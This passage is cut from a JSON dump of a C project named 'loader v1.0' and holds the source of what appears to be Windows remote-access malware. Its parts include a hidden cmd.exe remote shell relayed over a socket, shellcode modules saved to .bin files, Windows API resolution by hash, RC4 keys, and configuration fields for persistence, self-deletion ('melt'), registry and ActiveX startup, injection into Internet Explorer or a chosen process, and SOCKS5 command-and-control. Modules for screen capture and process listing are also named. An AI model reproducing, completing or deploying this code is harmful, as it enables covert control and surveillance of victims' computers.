(bmp->height == 0) {\n    return (void *)bmp->bits;\n  }\n\n  //  bmpɨ˳Ǵµϵ\n  int perline_size = bmp->info->bmiHeader.biSizeImage / bmp->height;\n\n  return (void *)((uint8_t *)bmp->bits + perline_size * (bmp->height - 1 - line));\n}\n\nvoid __cdecl bitmap_save(bitmap_t *bmp, buffer_t *buf) {\n  buffer_write(buf, &bmp->file_header, sizeof(BITMAPFILEHEADER));\n  buffer_write(buf, bmp->info, bmp->info_size);\n  buffer_write(buf, bmp->bits, bmp->info->bmiHeader.biSizeImage);\n}\n\n#undef global_data"
  },
  {
    "path": "loader v1.0/functions/functions/buffer.inc",
    "content": "buffer_t * __cdecl buffer_new(global_data_t *global_data) {\n  buffer_t *ret;\n  \n  ret = (buffer_t *)alloc_memory(sizeof(buffer_t));\n  zero_memory(ret, sizeof(buffer_t));\n  ret->global_data = global_data;\n\n  return ret;\n};\n\n#define global_data buf->global_data  // define globaldata for other\n\nvoid __cdecl buffer_free(buffer_t *buf) {\n  if (buf->data != 0)\n    free_memory(buf->data);\n  free_memory(buf);\n};\n\nvoid __cdecl buffer_checkspace(buffer_t *buf, size_t l) {\n  if (buf->alloc - buf->size < l) {\n    size_t nsize = (buf->alloc) ? buf->alloc * 2 : BUFFER_INIT_SIZE;\n\n    while (nsize < buf->size + l) {\n      size_t tmp = nsize * 2;\n      if (tmp <= nsize) {\n        nsize = buf->size + l;\n        break;\n      }\n      nsize = tmp;\n    }\n\n    void *tmp;\n\n    if (buf->data == 0)\n      tmp = alloc_memory(nsize);\n    else\n      tmp = realloc_memory(buf->data, nsize);\n\n    buf->data = (uint8_t *)tmp;\n    buf->alloc = nsize;\n  }\n};\n\nvoid __cdecl buffer_write(buffer_t *buf, const void *v, size_t l) {\n  buffer_checkspace(buf, l);\n  copy_memory(buf->data + buf->size, v, l);\n  buf->size += l;\n};\n\nvoid __cdecl buffer_clear(buffer_t *buf) {\n  buf->size = 0;\n};\n\n#undef global_data  // undef global_data"
  },
  {
    "path": "loader v1.0/functions/functions/cmd_shell.c",
    "content": "#include \"global_data.h\"\n#include \"shellcodes.h\"\n\nextern void __cdecl cmd_shell_entry(global_data_t *global_data);\nextern int __cdecl  cmd_shell_initialize(global_data_t *global_data, SOCKET s);\nextern bool __cdecl cmd_shell_check(global_data_t *global_data);\nextern int __cdecl cmd_shell_send_result(global_data_t *global_data, SOCKET s);\nextern int __cdecl cmd_shell_execute(global_data_t *global_data, SOCKET s, const char *cmd);\nextern int __cdecl cmd_shell_finalize(global_data_t *global_data, SOCKET s);\nextern void __cdecl cmd_shell_code_end();\n\n#pragma pack(push)\n#pragma pack(1)\ntypedef struct {\n  wchar_t comspec[10];\n  wchar_t windir[9];\n} cmd_shell_data_t;\n#pragma pack(pop)\n\n#define FIX(name)   xcmd_shell.##name = (_##name)(delta + (char *)name)\n\n#pragma optimize(\"ts\", on)\n\nvoid __cdecl cmd_shell_entry(global_data_t *global_data) {\n  uint32_t delta;\n\n  __asm {\n    call x;\n  x:\n    pop\teax;\n    sub\teax, offset x;\n    mov\tdelta, eax\n  }\n\n  xcmd_shell.data = (void *)(delta + (char *)cmd_shell_code_end);\n\n  FIX(cmd_shell_initialize);\n  FIX(cmd_shell_send_result);\n  FIX(cmd_shell_execute);\n  FIX(cmd_shell_finalize);\n}\n\nint __cdecl cmd_shell_initialize(global_data_t *global_data, SOCKET s) {\n  extra_t *extra = extra_data();\n  cmd_shell_data_t *data = (cmd_shell_data_t *)xcmd_shell.data;\n\n  extra->state |= STATE_CMD_SHELL;\n\n  SECURITY_ATTRIBUTES sa;\n\n  sa.nLength = sizeof(sa);\n  sa.lpSecurityDescriptor = 0;\n  sa.bInheritHandle = TRUE;\n\n  xCreatePipe(&xcmd_shell.input_read, &xcmd_shell.input_write, &sa, 0);\n  xCreatePipe(&xcmd_shell.output_read, &xcmd_shell.output_write, &sa, 0);\n\n  STARTUPINFOW si;\n\n  zero_memory(&si, sizeof(si));\n  si.cb = sizeof(si);\n  si.hStdOutput = xcmd_shell.output_write;\n  si.hStdError = xcmd_shell.output_write;\n  si.hStdInput = xcmd_shell.input_read;\n  si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;\n  si.wShowWindow = SW_HIDE;\n\n  wchar_t cmd_path[MAX_PATH];\n  wchar_t current_path[MAX_PATH];\n\n  PROCESS_INFORMATION pi;\n\n  xExpandEnvironmentStringsW(data->comspec, cmd_path, sizeof(cmd_path));\n  xExpandEnvironmentStringsW(data->windir, current_path, sizeof(current_path));\n\n  xCreateProcessW(0, cmd_path, &sa, &sa, TRUE, 0, 0, current_path, &si, &pi);\n\n  xcmd_shell.cmd_handle = pi.hProcess;\n  xCloseHandle(pi.hThread);\n\n  int ret = xsend_packet(s, CMD_CMDSHELL_START, 0, 0);\n\n  return ret;\n}\n\nbool __cdecl cmd_shell_check(global_data_t *global_data) {\n  DWORD exit_code;\n\n  exit_code = 0;\n  xGetExitCodeProcess(xcmd_shell.cmd_handle, &exit_code);\n\n  return exit_code == STILL_ACTIVE;\n}\n\nextern int __cdecl cmd_shell_send_result(global_data_t *global_data, SOCKET s) {\n  DWORD length, temp, readed;\n\n  if (!cmd_shell_check(global_data)) {\n    return cmd_shell_finalize(global_data, s);\n  }\n\n  xPeekNamedPipe(xcmd_shell.output_read, 0, 0, 0, &length, 0);\n\n  if (length <= 0) return 0;\n\n  char *data = alloc_memory(length + 1);\n\n  readed = 0;\n  while (readed < length) {\n    if (!xReadFile(xcmd_shell.output_read, data + readed, length - readed, &temp, 0)) {\n      return cmd_shell_finalize(global_data, s);\n    }\n    readed += temp;\n  }\n  data[length] = 0;\n\n  int ret = 0;\n\n  buffer_t *buf = xbuffer_new();\n\n  mlp_bin(buf, data, length + 1);\n\n  free_memory(data);\n\n  ret = xsend_packet(s, CMD_CMDSHELL_DATA, (const char *)buf->data, buf->size);\n\n  xbuffer_free(buf);\n\n  return ret;\n}\n\nint __cdecl cmd_shell_execute(global_data_t *global_data, SOCKET s, const char *cmd) {\n  DWORD length, temp, writed;\n\n  if (!cmd_shell_check(global_data)) {\n    return cmd_shell_finalize(global_data, s);\n  }\n\n  length = xlstrlenA(cmd);\n  writed = 0;\n  while (writed < length) {\n    if (!xWriteFile(xcmd_shell.input_write, cmd + writed, length - writed, &temp, 0)) {\n      return cmd_shell_finalize(global_data, s);\n    }\n    writed += temp;\n  }\n\n  return cmd_shell_send_result(global_data, s);\n}\n\nint __cdecl cmd_shell_finalize(global_data_t *global_data, SOCKET s) {\n  extra_data()->state &= ~STATE_CMD_SHELL;\n\n  xTerminateProcess(xcmd_shell.cmd_handle, 0);\n  xCloseHandle(xcmd_shell.input_read);\n  xCloseHandle(xcmd_shell.input_write);\n  xCloseHandle(xcmd_shell.output_write);\n  xCloseHandle(xcmd_shell.output_read);\n\n  if (s != INVALID_SOCKET) {\n    return xsend_packet(s, CMD_CMDSHELL_END, 0, 0);\n  }\n\n  return 0;\n}\n\nvoid __cdecl cmd_shell_code_end() {\n  printf(__FUNCTION__);\n}\n\n#pragma optimize(\"ts\", off)\n\n#undef FIX             // undef macro FIX\n\nvoid cmd_shell_save(char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)cmd_shell_entry;\n  end = (char *)cmd_shell_code_end;\n\n  printf(\"[*] cmd shell code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n  fwrite(start, 1, end - start, f);\n\n\n  cmd_shell_data_t data;\n\n  memset(&data, 0, sizeof(data));\n  lstrcpyW(data.comspec, L\"%COMSPEC%\");\n  lstrcpyW(data.windir, L\"%WINDIR%\");\n\n  printf(\"[*] cmd shell data size = 0x%X\\n\", sizeof(data));\n\n  fwrite(&data, 1, sizeof(data), f);\n\n  fclose(f);\n  printf(\"[*] save cmd shell to %s success.\\n\", filename);\n}"
  },
  {
    "path": "loader v1.0/functions/functions/define.inc",
    "content": "#define xLoadLibraryA                    global_data->xLoadLibraryA\n#define xGetProcAddress                  global_data->xGetProcAddress\n#define xGetCurrentProcess               global_data->xGetCurrentProcess\n#define xCloseHandle                     global_data->xCloseHandle\n#define xOpenProcess                     global_data->xOpenProcess\n#define xlstrlenA                        global_data->xlstrlenA\n#define xlstrlenW                        global_data->xlstrlenW\n#define xlstrcpyA                        global_data->xlstrcpyA\n#define xlstrcpyW                        global_data->xlstrcpyW\n#define xlstrcmpiW                       global_data->xlstrcmpiW\n#define xlstrcatW\t\t\t\t\t\t global_data->xlstrcatW\n#define xHeapAlloc                       global_data->xHeapAlloc\n#define xHeapReAlloc                     global_data->xHeapReAlloc\n#define xHeapFree                        global_data->xHeapFree\n#define xGetProcessHeap                  global_data->xGetProcessHeap\n#define xGetModuleHandleA                global_data->xGetModuleHandleA\n#define xGetModuleFileNameW              global_data->xGetModuleFileNameW\n#define xCreateMutexA                    global_data->xCreateMutexA\n#define xGetLastError                    global_data->xGetLastError\n#define xSleep                           global_data->xSleep\n#define xVirtualAllocEx                  global_data->xVirtualAllocEx\n#define xVirtualFreeEx                   global_data->xVirtualFreeEx\n#define xWriteProcessMemory              global_data->xWriteProcessMemory\n#define xWaitForSingleObject             global_data->xWaitForSingleObject\n#define xCreateToolhelp32Snapshot        global_data->xCreateToolhelp32Snapshot\n#define xProcess32FirstW                 global_data->xProcess32FirstW\n#define xProcess32NextW                  global_data->xProcess32NextW\n#define xExpandEnvironmentStringsW       global_data->xExpandEnvironmentStringsW\n#define xCreateProcessW                  global_data->xCreateProcessW\n#define xCreateRemoteThread              global_data->xCreateRemoteThread\n#define xRtlZeroMemory                   global_data->xRtlZeroMemory\n#define xRtlMoveMemory                   global_data->xRtlMoveMemory\n#define xRtlCompressBuffer               global_data->xRtlCompressBuffer\n#define xRtlGetCompressionWorkSpaceSize  global_data->xRtlGetCompressionWorkSpaceSize\n#define xRtlDecompressBuffer             global_data->xRtlDecompressBuffer\n#define xOpenProcessToken                global_data->xOpenProcessToken\n#define xLookupPrivilegeValueA           global_data->xLookupPrivilegeValueA\n#define xAdjustTokenPrivileges           global_data->xAdjustTokenPrivileges\n#define xRegOpenKeyExA                   global_data->xRegOpenKeyExA\n#define xRegCreateKeyExW                 global_data->xRegCreateKeyExW\n#define xRegSetValueExW                  global_data->xRegSetValueExW\n#define xRegQueryValueExW                global_data->xRegQueryValueExW\n#define xRegCloseKey                     global_data->xRegCloseKey\n#define xWSAStartup                      global_data->xWSAStartup\n#define xWSACleanup                      global_data->xWSACleanup\n#define xhtons                           global_data->xhtons\n#define xinet_addr                       global_data->xinet_addr\n#define xgethostbyname                   global_data->xgethostbyname\n#define xsocket                          global_data->xsocket\n#define xclosesocket                     global_data->xclosesocket\n#define xconnect                         global_data->xconnect\n#define xsetsockopt                      global_data->xsetsockopt\n#define xsend                            global_data->xsend\n#define xrecv                            global_data->xrecv\n#define xselect                          global_data->xselect\n#define xGetSystemDirectoryW\t\t\t global_data->xGetSystemDirectoryW\n#define xGetWindowsDirectoryW\t\t\t global_data->xGetWindowsDirectoryW\n#define xCopyFileW\t\t\t\t\t\t global_data->xCopyFileW\n\n#define get_proc_from_hash               global_data->get_proc_from_hash\n#define rc4_init                         global_data->rc4_init\n#define rc4_crypt                        global_data->rc4_crypt\n\n#define dlsym(a, b)\t\t\t\t\t\t x##b = (_##b)get_proc_from_hash(a, b##_Hash, xGetProcAddress)\n#define zero_memory(a, b)\t\t\t\t xRtlZeroMemory(a, b)\n#define copy_memory(a, b, c)\t\t\t xRtlMoveMemory(a, b, c)\n#define alloc_memory(a)                  global_data->alloc_memory(global_data, a)\n#define realloc_memory(a, b)             global_data->realloc_memory(global_data, a, b)\n#define free_memory(a)                   global_data->free_memory(global_data, a)\n#define alloc_executable_memory(a, b)    global_data->alloc_executable_memory(global_data, a, b)\n#define free_executable_memory(a, b)     global_data->free_executable_memory(global_data, a, b)\n#define inject_memory(a, b, c)           global_data->inject_memory(global_data, a, b, c)\n#define compress(a, b, c, d)             global_data->compress(global_data, a, b, c, d)\n#define decompress(a, b, c, d)           global_data->decompress(global_data, a, b, c, d)\n#define wait_buffer(a, b, c)             global_data->wait_buffer(global_data, a, b, c)\n#define recv_data(a, b, c)               global_data->recv_data(global_data, a, b, c)\n#define send_data(a, b, c)               global_data->send_data(global_data, a, b, c)\n\n#define WideCharToMultiByte_Hash\t\t\t\t0x1586B38D\n#define MessageBoxA_Hash\t\t\t\t\t\t0x6DBE321\n#define GetTickCount_Hash\t\t\t\t\t\t0x739B463C\n#define gethostname_Hash\t\t\t\t\t\t0x294C801D\n#define inet_ntoa_Hash\t\t\t\t\t\t\t0x6AAA5A67\n#define GetSystemDirectoryA_Hash\t\t\t\t0x4599D4E5\n#define GetFileVersionInfoSizeA_Hash\t\t\t0x21F935B0\n#define GetFileVersionInfoA_Hash\t\t\t\t0x10896CE1\n#define VerQueryValueA_Hash\t\t\t\t\t\t0x2C86E35\n#define wnsprintfA_Hash\t\t\t\t\t\t\t0x31EFB1A4\n#define GetComputerNameW_Hash\t\t\t\t\t0x7B8E4DB\n#define GetUserNameW_Hash\t\t\t\t\t\t0x3FDDCE23\n#define GlobalMemoryStatusEx_Hash\t\t\t\t0x573FA7C5\n#define GetLocaleInfoA_Hash\t\t\t\t\t\t0x6352029F\n#define GetLocaleInfoW_Hash\t\t\t\t\t\t0x635202B5\n#define lstrcatA_Hash\t\t\t\t\t\t\t0x61940C44\n#define RegQueryValueExA_Hash\t\t\t\t\t0x520D276D\n#define CreatePipe_Hash\t\t\t\t\t\t\t0x1D5E2712\n#define GetExitCodeProcess_Hash\t\t\t\t\t0x5B194A22\n#define PeekNamedPipe_Hash\t\t\t\t\t\t0x675D205C\n#define ReadFile_Hash\t\t\t\t\t\t\t0x3B07BD16\n#define WriteFile_Hash\t\t\t\t\t\t\t0x3BC8276B\n#define TerminateProcess_Hash\t\t\t\t\t0x90BAA3A\n#define CreateCompatibleBitmap_Hash             0x3239F2EB\n#define GetDIBits_Hash                          0x495E766D\n#define CreateDIBSection_Hash                   0x1491701C\n#define CreateCompatibleDC_Hash                 0x3288E377\n#define SelectObject_Hash                       0x40EDCEC3\n#define DeleteDC_Hash                           0x19DD01DA\n#define DeleteObject_Hash                       0x4A77AB92\n#define SetRect_Hash                            0x506869BE\n#define GetCurrentThreadId_Hash                 0x39F69680\n#define GetUserObjectInformationA_Hash          0x3CB39ABD\n#define lstrcmpiA_Hash                          0x705CF2A5\n#define SetThreadDesktop_Hash                   0xB44EEB4\n#define CloseDesktop_Hash                       0x53E66194\n#define GetSystemMetrics_Hash                   0x1028C0F2\n#define GetDesktopWindow_Hash                   0x4AA73B6\n#define GetDC_Hash                              0x6BF4B1C1\n#define ReleaseDC_Hash                          0x4F6E1CC2\n#define SetRectEmpty_Hash                       0x4FC4E8F3\n#define BitBlt_Hash                             0x1AD7E525\n#define GetCursorPos_Hash                       0x598CB350\n#define StretchBlt_Hash                         0x4FF19A01\n#define GetThreadDesktop_Hash                   0x717807B0\n#define OpenInputDesktop_Hash                   0x4DF183D4"
  },
  {
    "path": "loader v1.0/functions/functions/extra.inc",
    "content": "typedef buffer_t * (__cdecl *_buffer_new)(global_data_t *global_data);\ntypedef void (__cdecl *_buffer_free)(buffer_t *buf);\ntypedef void (__cdecl *_buffer_checkspace)(buffer_t *buf, size_t l);\ntypedef void (__cdecl *_buffer_write)(buffer_t *buf, const void *v, size_t l);\ntypedef void (__cdecl *_buffer_clear)(buffer_t *buf);\n\ntypedef void (__cdecl *_msgpack_lite_pack_nil)(buffer_t *buf);\ntypedef void (__cdecl *_msgpack_lite_pack_boolean)(buffer_t *buf, bool b);\ntypedef void (__cdecl *_msgpack_lite_pack_signed)(buffer_t *buf, int64_t i);\ntypedef void (__cdecl *_msgpack_lite_pack_unsigned)(buffer_t *buf, uint64_t i);\ntypedef void (__cdecl *_msgpack_lite_pack_float)(buffer_t *buf, float f);\ntypedef void (__cdecl *_msgpack_lite_pack_double)(buffer_t *buf, double d);\ntypedef void (__cdecl *_msgpack_lite_pack_real)(buffer_t *buf, double d);\ntypedef void (__cdecl *_msgpack_lite_pack_map_size)(buffer_t *buf, uint32_t n);\ntypedef void (__cdecl *_msgpack_lite_pack_str)(buffer_t *buf, const char *v);\ntypedef void (__cdecl *_msgpack_lite_pack_widestr)(buffer_t *buf, const wchar_t *v);\ntypedef void (__cdecl *_msgpack_lite_pack_bin_size)(buffer_t *buf, uint32_t n);\ntypedef void (__cdecl *_msgpack_lite_pack_bin)(buffer_t *buf, const void* v, uint32_t l);\ntypedef void (__cdecl *_msgpack_lite_pack_array_size)(buffer_t *buf, uint32_t n);\ntypedef void (__cdecl *_msgpack_lite_pack_insert)(buffer_t *buf, const void *v, uint32_t l);\n\ntypedef int (__cdecl *_send_packet)(global_data_t *global_data, SOCKET s, uint8_t cmd, const char *buf, size_t size);\ntypedef int (__cdecl *_recv_packet)(global_data_t *global_data, SOCKET s, uint8_t *cmd, void **buf, size_t *size);\n\ntypedef bitmap_t * (__cdecl *_bitmap_new)(global_data_t *global_data, HDC src_dc, int bit_count, int width, int height);\ntypedef void (__cdecl *_bitmap_free)(bitmap_t *bmp);\ntypedef void * (__cdecl *_bitmap_scan_line)(bitmap_t *bmp, int line);\ntypedef void (__cdecl *_bitmap_save)(bitmap_t *bmp, buffer_t *buf);\n\ntypedef void (__cdecl *_get_lan_info)(global_data_t *global_data, char *info);\ntypedef void (__cdecl *_get_os_version)(global_data_t *global_data, char *info, int size);\ntypedef uint32_t (__cdecl *_get_cpu_frequency)(global_data_t *global_data);\n\ntypedef int (__cdecl *_cmd_shell_initialize)(global_data_t *global_data, SOCKET s);\ntypedef int (__cdecl *_cmd_shell_send_result)(global_data_t *global_data, SOCKET s);\ntypedef int (__cdecl *_cmd_shell_execute)(global_data_t *global_data, SOCKET s, const char *cmd);\ntypedef int (__cdecl *_cmd_shell_finalize)(global_data_t *global_data, SOCKET s);\n\ntypedef int (__cdecl *_thumbnail_send)(global_data_t *global_data, SOCKET s);\n\n\ntypedef int (__cdecl *_screenspy_initalize)(global_data_t *global_data, SOCKET s, int bit_count);\ntypedef int (__cdecl *_screenspy_send)(global_data_t *global_data, SOCKET s);\ntypedef int (__cdecl *_screenspy_finalize)(global_data_t *global_data, SOCKET s);\n\ntypedef int (__cdecl *_process_send_list)(global_data_t *global_data, SOCKET s);"
  },
  {
    "path": "loader v1.0/functions/functions/functions.c",
    "content": "// functions.cpp : ̨Ӧóڵ㡣\n//\n#include \"shellcodes.h\"\n#include \"global_data.h\"\n\n#include <ShlObj.h>\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n  printf(\"extra size = %d\\n\", sizeof(extra_t));\n\n  shellcode_main_save(\"main.bin\");\n  information_save(\"information.bin\");\n  cmd_shell_save(\"cmd_shell.bin\");\n  thumbnail_send_save(\"thumbnail.bin\");\n  screenspy_save(\"screenspy.bin\");\n  process_save(\"process.bin\");\n\n\treturn 0;\n}"
  },
  {
    "path": "loader v1.0/functions/functions/functions.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}</ProjectGuid>\n    <Keyword>Win32Proj</Keyword>\n    <RootNamespace>functions</RootNamespace>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v120_xp</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <Optimization>MinSpace</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>false</IntrinsicFunctions>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n      <WholeProgramOptimization>false</WholeProgramOptimization>\n      <BufferSecurityCheck>false</BufferSecurityCheck>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n      <ExceptionHandling>false</ExceptionHandling>\n      <AdditionalOptions>/D _CRT_SECURE_NO_WARNINGS %(AdditionalOptions)</AdditionalOptions>\n      <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>\n      <GenerateMapFile>true</GenerateMapFile>\n      <FunctionOrder>order.txt</FunctionOrder>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <Text Include=\"ReadMe.txt\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"global_data.h\" />\n    <ClInclude Include=\"shellcodes.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"cmd_shell.c\" />\n    <ClCompile Include=\"functions.c\" />\n    <ClCompile Include=\"process.c\" />\n    <ClCompile Include=\"screenspy.c\" />\n    <ClCompile Include=\"shellcode_main.c\" />\n    <ClCompile Include=\"information.c\" />\n    <ClCompile Include=\"thumbnail.c\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "loader v1.0/functions/functions/functions.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"源文件\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"头文件\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"资源文件\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <Text Include=\"ReadMe.txt\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"global_data.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"shellcodes.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"functions.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"shellcode_main.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"information.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"cmd_shell.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"thumbnail.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"screenspy.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"process.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "loader v1.0/functions/functions/functions.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup>\n    <ShowAllFiles>true</ShowAllFiles>\n  </PropertyGroup>\n</Project>"
  },
  {
    "path": "loader v1.0/functions/functions/global_data.h",
    "content": "#ifndef GLOBAL_DATA_H\n#define GLOBAL_DATA_H\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdbool.h>\n\n#include <tchar.h>\n#include <windows.h>\n#include <TlHelp32.h>\n\ntypedef uint8_t u8;\ntypedef uint16_t u16;\ntypedef uint32_t u32;\ntypedef uint64_t u64;\n\ntypedef struct global_data global_data_t, *global_data_p;\ntypedef struct extra_function extra_function_t;\n\n#include \"apis.inc\"\n#include \"shellcode.inc\"\n\n#pragma pack(push)\n#pragma pack(1)\nstruct extra_function {\n  union {\n    u64 ptr64;\n    struct {\n      u32 ptr32;\n      u32 dummy;\n    };\n  };\n  u16 size;\n};\n\n// loaderеĽṹͬ\nstruct global_data {\n  u8 is_wow64;\n  wchar_t loader_path[256];\n\n  char mutex_name[100];\n  u8 persistence;\n\n  u8 melt;\n  u8 copy_method;\n  wchar_t copy_to[100];\n\n  u8 startup_hklm;\n  wchar_t nklm_name[100];\n\n  u8 startup_acitvex;\n  wchar_t activex_name[100];\n\n  u8 inject_to_ie;\n\n  u8 inject_to_custom;\n  wchar_t custom_process_name[100];\n\n  wchar_t group[12];\n  wchar_t id[12];\n\n  u8 dns_list[256];\n\n  u8 socks5;\n  u8 socks5_dns[100];\n  u16 socks5_port;\n  u8 socks5_user[100];\n  u8 socks5_pass[100];\n\n  u8 rc4_key[260];\n\n  u8 send_sbox[256];\n  u8 recv_sbox[256];\n#ifdef _WIN64\n  u32 kernel32;\n  u32 xLoadLibraryA, xGetProcAddress, xGetCurrentProcess, xCloseHandle, xOpenProcess, xlstrlenA, xlstrlenW, xlstrcatW, xlstrcpyA,\n    xlstrcpyW, xlstrcmpiW, xHeapAlloc, xHeapReAlloc, xHeapFree, xGetProcessHeap, xGetModuleHandleA, xGetModuleFileNameW, xCreateMutexA,\n    xGetLastError, xSleep, xVirtualAllocEx, xVirtualFreeEx, xWriteProcessMemory, xWaitForSingleObject, xCreateToolhelp32Snapshot,\n    xProcess32FirstW, xProcess32NextW, xExpandEnvironmentStringsW, xCreateProcessW, xCreateRemoteThread, xGetSystemDirectoryW,\n    xGetWindowsDirectoryW, xCopyFileW, xDeleteFileW;\n\n  u32 ntdll;\n  u32 xRtlZeroMemory, xRtlMoveMemory, xRtlCompressBuffer, xRtlGetCompressionWorkSpaceSize, xRtlDecompressBuffer;\n\n  u32 advapi32;\n  u32 xOpenProcessToken, xLookupPrivilegeValueA, xAdjustTokenPrivileges, xRegOpenKeyExA, xRegCreateKeyExW, xRegSetValueExW,\n    xRegQueryValueExW, xRegCloseKey;\n\n  u32 ws2_32;\n  u32 xWSAStartup, 